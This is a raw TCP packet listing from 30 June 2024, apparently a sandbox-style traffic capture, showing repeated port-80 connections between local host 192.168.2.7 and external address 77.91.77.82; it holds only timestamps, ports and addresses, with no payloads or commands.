Jun 30, 2024 10:25:25.644963026 CEST	80	57594	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:26.343238115 CEST	80	57594	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:26.343635082 CEST	57594	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:26.450390100 CEST	57595	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:26.450407028 CEST	57594	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:26.455276012 CEST	80	57595	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:26.455414057 CEST	57595	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:26.455482006 CEST	80	57594	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:26.455492020 CEST	57595	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:26.458472967 CEST	57594	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:26.460576057 CEST	80	57595	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:27.179631948 CEST	80	57595	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:27.179693937 CEST	57595	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:27.184026957 CEST	57595	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:27.184384108 CEST	57596	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:27.189460993 CEST	80	57596	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:27.189527988 CEST	57596	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:27.189704895 CEST	80	57595	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:27.189755917 CEST	57595	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:27.190054893 CEST	57596	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:27.194886923 CEST	80	57596	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:27.883785963 CEST	80	57596	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:27.890383005 CEST	57596	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:28.002370119 CEST	57597	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:28.002378941 CEST	57596	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:28.007322073 CEST	80	57597	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:28.007744074 CEST	80	57596	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:28.010448933 CEST	57597	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:28.010468960 CEST	57596	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:28.018506050 CEST	57597	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:28.025995970 CEST	80	57597	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:28.703557014 CEST	80	57597	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:28.703929901 CEST	57597	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:28.710360050 CEST	57598	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:28.710360050 CEST	57597	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:28.717032909 CEST	80	57598	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:28.717406034 CEST	80	57597	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:28.717433929 CEST	57598	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:28.720290899 CEST	57597	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:28.722366095 CEST	57598	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:28.727436066 CEST	80	57598	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:29.447160006 CEST	80	57598	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:29.447244883 CEST	57598	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:29.560806990 CEST	57598	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:29.561311007 CEST	57599	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:29.565975904 CEST	80	57598	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:29.566040993 CEST	57598	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:29.566116095 CEST	80	57599	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:29.566274881 CEST	57599	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:29.566466093 CEST	57599	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:29.571216106 CEST	80	57599	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:30.271615028 CEST	80	57599	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:30.271707058 CEST	57599	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:30.274358988 CEST	57599	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:30.274802923 CEST	57600	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:30.279479027 CEST	80	57599	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:30.279635906 CEST	80	57600	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:30.279680967 CEST	57599	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:30.279953003 CEST	57600	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:30.282371044 CEST	57600	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:30.287189960 CEST	80	57600	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:30.972779036 CEST	80	57600	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:30.972836018 CEST	57600	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:31.094487906 CEST	57600	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:31.094892025 CEST	57601	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:31.099764109 CEST	80	57601	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:31.099836111 CEST	57601	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:31.099848986 CEST	80	57600	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:31.099946022 CEST	57600	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:31.100296021 CEST	57601	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:31.105217934 CEST	80	57601	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:31.800909042 CEST	80	57601	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:31.800962925 CEST	57601	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:31.805912018 CEST	57601	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:31.806360960 CEST	57602	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:31.817996979 CEST	80	57602	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:31.818465948 CEST	57602	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:31.819386005 CEST	80	57601	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:31.819439888 CEST	57602	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:31.820569992 CEST	57601	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:31.824640989 CEST	80	57602	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:32.509380102 CEST	80	57602	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:32.509701014 CEST	57602	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:32.624458075 CEST	57603	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:32.624466896 CEST	57602	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:32.629578114 CEST	80	57603	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:32.630179882 CEST	80	57602	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:32.632705927 CEST	57603	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:32.632713079 CEST	57602	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:32.636384010 CEST	57603	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:32.641227007 CEST	80	57603	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:33.345891953 CEST	80	57603	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:33.345961094 CEST	57603	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:33.349726915 CEST	57603	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:33.350135088 CEST	57604	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:33.354933977 CEST	80	57604	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:33.354996920 CEST	57604	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:33.355245113 CEST	57604	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:33.355791092 CEST	80	57603	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:33.355837107 CEST	57603	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:33.360047102 CEST	80	57604	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:34.064068079 CEST	80	57604	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:34.070436001 CEST	57604	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:34.172523022 CEST	57605	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:34.172585964 CEST	57604	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:34.180200100 CEST	80	57605	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:34.180768967 CEST	80	57604	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:34.181545973 CEST	57605	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:34.181550980 CEST	57604	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:34.186361074 CEST	57605	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:34.191446066 CEST	80	57605	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:34.899218082 CEST	80	57605	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:34.899285078 CEST	57605	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:34.904659033 CEST	57605	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:34.905159950 CEST	57606	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:34.910831928 CEST	80	57606	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:34.910866976 CEST	80	57605	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:34.910923004 CEST	57606	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:34.910949945 CEST	57605	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:34.914262056 CEST	57606	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:34.919464111 CEST	80	57606	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:35.608592987 CEST	80	57606	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:35.608660936 CEST	57606	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:35.717067957 CEST	57606	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:35.717828989 CEST	57607	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:35.722825050 CEST	80	57607	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:35.722901106 CEST	57607	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:35.723053932 CEST	57607	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:35.723263025 CEST	80	57606	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:35.723309040 CEST	57606	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:35.728099108 CEST	80	57607	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:36.427150011 CEST	80	57607	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:36.430300951 CEST	57607	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:36.433017969 CEST	57607	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:36.438137054 CEST	80	57607	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:36.438193083 CEST	57608	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:36.438301086 CEST	57607	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:36.443737984 CEST	80	57608	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:36.444472075 CEST	57608	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:36.444639921 CEST	57608	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:36.450901031 CEST	80	57608	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:37.154248953 CEST	80	57608	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:37.154320955 CEST	57608	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:37.264224052 CEST	57608	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:37.264708996 CEST	57609	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:37.269568920 CEST	80	57608	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:37.269633055 CEST	57608	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:37.269648075 CEST	80	57609	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:37.269727945 CEST	57609	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:37.269973040 CEST	57609	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:37.274918079 CEST	80	57609	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:38.093996048 CEST	80	57609	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:38.094341040 CEST	57609	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:38.097093105 CEST	57609	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:38.097712994 CEST	57610	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:38.355715036 CEST	80	57609	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:38.358473063 CEST	57609	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:38.358819008 CEST	80	57610	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:38.360287905 CEST	80	57609	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:38.360409021 CEST	57609	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:38.360409021 CEST	57610	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:38.360701084 CEST	57610	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:38.365816116 CEST	80	57610	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:39.052999973 CEST	80	57610	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:39.053059101 CEST	57610	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:39.170114994 CEST	57610	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:39.170520067 CEST	57611	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:39.175389051 CEST	80	57610	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:39.175414085 CEST	80	57611	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:39.175442934 CEST	57610	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:39.175503016 CEST	57611	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:39.175769091 CEST	57611	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:39.180772066 CEST	80	57611	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:39.859603882 CEST	80	57611	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:39.863122940 CEST	57611	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:39.863123894 CEST	57611	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:39.864512920 CEST	57612	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:39.868465900 CEST	80	57611	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:39.868582010 CEST	57611	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:39.869280100 CEST	80	57612	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:39.872680902 CEST	57612	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:39.872680902 CEST	57612	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:39.877517939 CEST	80	57612	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:40.572156906 CEST	80	57612	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:40.574594975 CEST	57612	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:40.686377048 CEST	57612	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:40.686429024 CEST	57613	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:40.890090942 CEST	80	57613	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:40.890233040 CEST	57613	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:40.890487909 CEST	80	57612	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:40.890547991 CEST	57612	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:40.890791893 CEST	57613	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:40.895714045 CEST	80	57613	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:41.577975035 CEST	80	57613	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:41.578052998 CEST	57613	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:41.582473040 CEST	57613	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:41.582978010 CEST	57614	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:41.588583946 CEST	80	57613	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:41.588654041 CEST	57613	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:41.588694096 CEST	80	57614	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:41.588772058 CEST	57614	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:41.588939905 CEST	57614	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:41.595320940 CEST	80	57614	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:42.281799078 CEST	80	57614	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:42.282536030 CEST	57614	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:42.388582945 CEST	57615	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:42.388717890 CEST	57614	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:42.396820068 CEST	80	57615	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:42.397342920 CEST	80	57614	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:42.398485899 CEST	57615	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:42.398497105 CEST	57614	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:42.398781061 CEST	57615	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:42.403737068 CEST	80	57615	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:43.112809896 CEST	80	57615	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:43.112875938 CEST	57615	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:43.117149115 CEST	57615	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:43.117594957 CEST	57616	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:43.122715950 CEST	80	57615	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:43.122795105 CEST	57615	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:43.122806072 CEST	80	57616	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:43.122879982 CEST	57616	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:43.123646975 CEST	57616	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:43.128432989 CEST	80	57616	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:43.838270903 CEST	80	57616	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:43.838526011 CEST	57616	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:43.965617895 CEST	57616	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:43.966363907 CEST	57617	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:43.976670027 CEST	80	57617	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:43.978486061 CEST	57617	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:43.978595972 CEST	57617	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:43.980341911 CEST	80	57616	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:43.980458975 CEST	57616	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:43.983494997 CEST	80	57617	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:44.690313101 CEST	80	57617	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:44.690699100 CEST	57617	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:44.693536997 CEST	57618	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:44.693536997 CEST	57617	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:44.698453903 CEST	80	57618	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:44.699084997 CEST	80	57617	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:44.702461958 CEST	57618	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:44.702461958 CEST	57617	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:44.702732086 CEST	57618	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:44.707504034 CEST	80	57618	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:45.406629086 CEST	80	57618	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:45.406708002 CEST	57618	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:45.514995098 CEST	57618	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:45.515547037 CEST	57619	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:45.520370960 CEST	80	57619	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:45.520437002 CEST	57619	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:45.520544052 CEST	80	57618	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:45.520591974 CEST	57618	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:45.521107912 CEST	57619	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:45.526037931 CEST	80	57619	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:46.207843065 CEST	80	57619	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:46.207986116 CEST	57619	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:46.210920095 CEST	57619	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:46.211451054 CEST	57620	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:46.216111898 CEST	80	57619	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:46.216269016 CEST	80	57620	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:46.216377020 CEST	57619	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:46.216392994 CEST	57620	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:46.216952085 CEST	57620	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:46.228527069 CEST	80	57620	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:46.909394026 CEST	80	57620	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:46.909466028 CEST	57620	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:47.030721903 CEST	57620	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:47.031136990 CEST	57621	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:47.035926104 CEST	80	57620	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:47.035994053 CEST	57620	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:47.035999060 CEST	80	57621	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:47.036130905 CEST	57621	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:47.036645889 CEST	57621	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:47.041678905 CEST	80	57621	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:47.754970074 CEST	80	57621	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:47.755023956 CEST	57621	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:47.758666039 CEST	57621	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:47.759140015 CEST	57622	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:47.763981104 CEST	80	57622	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:47.764043093 CEST	57622	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:47.764246941 CEST	57622	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:47.764528990 CEST	80	57621	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:47.764574051 CEST	57621	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:47.769076109 CEST	80	57622	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:48.459178925 CEST	80	57622	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:48.462460041 CEST	57622	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:48.575104952 CEST	57623	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:48.575109959 CEST	57622	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:48.580126047 CEST	80	57623	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:48.580498934 CEST	80	57622	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:48.580647945 CEST	57622	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:48.580646992 CEST	57623	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:48.584506035 CEST	57623	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:48.589407921 CEST	80	57623	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:49.278695107 CEST	80	57623	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:49.278754950 CEST	57623	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:49.282798052 CEST	57623	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:49.283256054 CEST	57624	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:49.288125038 CEST	80	57624	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:49.288196087 CEST	57624	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:49.288438082 CEST	57624	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:49.288469076 CEST	80	57623	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:49.288512945 CEST	57623	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:49.293337107 CEST	80	57624	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:49.979727983 CEST	80	57624	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:49.984509945 CEST	57624	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:50.092473030 CEST	57624	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:50.092502117 CEST	57625	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:50.102978945 CEST	80	57625	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:50.104701042 CEST	57625	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:50.104701042 CEST	57625	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:50.105623960 CEST	80	57624	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:50.108475924 CEST	57624	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:50.110485077 CEST	80	57625	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:50.792864084 CEST	80	57625	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:50.799221039 CEST	57625	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:50.799221039 CEST	57625	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:50.800517082 CEST	57626	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:50.804563046 CEST	80	57625	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:50.805479050 CEST	80	57626	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:50.808655977 CEST	57625	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:50.808655977 CEST	57626	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:50.809077978 CEST	57626	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:50.813882113 CEST	80	57626	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:50.947746038 CEST	57626	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:51.066590071 CEST	57627	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:51.071576118 CEST	80	57627	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:51.071656942 CEST	57627	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:51.071966887 CEST	57627	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:51.077124119 CEST	80	57627	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:51.760066986 CEST	80	57627	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:51.760128021 CEST	57627	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:51.765696049 CEST	57627	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:51.766015053 CEST	57628	80	192.168.2.7	77.91.77.82
